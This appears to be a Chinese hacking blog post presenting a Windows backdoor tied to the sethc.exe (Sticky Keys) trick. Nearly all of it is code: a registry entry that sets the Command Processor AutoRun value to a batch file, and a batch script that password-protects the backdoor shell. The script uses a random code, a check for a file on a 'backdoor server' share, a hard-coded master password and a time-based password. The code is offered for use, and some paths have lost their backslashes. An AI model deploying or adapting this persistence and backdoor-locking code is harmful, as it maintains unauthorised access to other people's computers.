变态入侵之有史以来最酷的Windows后门sethc.exe

  [HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand Processor]

  "AutoRun"="bdlock.bat"

  @Echo Off

  title 后门登陆验证

  color a

  cls

  set temprandom=%RANDOM%

  echo 请输入验证码:%temprandom%

  set/p check=

  if "%check%"=="%temprandom%%temprandom%" goto passcheck

  if "%check%"=="%temprandom%" (

  rem 后门服务器验证

  rem 如果没有后门验证服务器请rem注释掉下一行代码

  if exist 192.168.8.8backdoor$pass goto passcheck

  )

  echo 验证失败

  pause

  exit

  :passcheck

  echo 验证成功

  If "%passcmdlock%"=="http://blog.csdn.net/freexploit/" Goto endx

  Set passcmdlock=http://blog.csdn.net/freexploit/

  :allyesno

  Set Errorlevel=>nul

  Echo 请输入验证密码?

  Set password=allyesno Is a pig>nul

  Set/p password=

  rem 万能密码

  if "%password%"=="allyesno is a sb" goto endx

  If %time:~1,1%==0 Set timechange=a

  If %time:~1,1%==1 Set timechange=b

  If %time:~1,1%==2 Set timechange=c

  If %time:~1,1%==3 Set timechange=d

  If %time:~1,1%==4 Set timechange=e

  If %time:~1,1%==5 Set timechange=f

  If %time:~1,1%==6 Set timechange=g

  If %time:~1,1%==7 Set timechange=h

  If %time:~1,1%==8 Set timechange=i

  If %time:~1,1%==9 Set timechange=j

  set/a sum=%time:~1,1%+%time:~1,1%

  Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul

  If "%errorlevel%"=="0" cls&Echo 口令正确&Goto End

  Echo 请联系客服咨询正确密码!&Goto allyesno

  :End

  Set password=>nul

  Set Errorlevel=>nul

  Echo

  :endx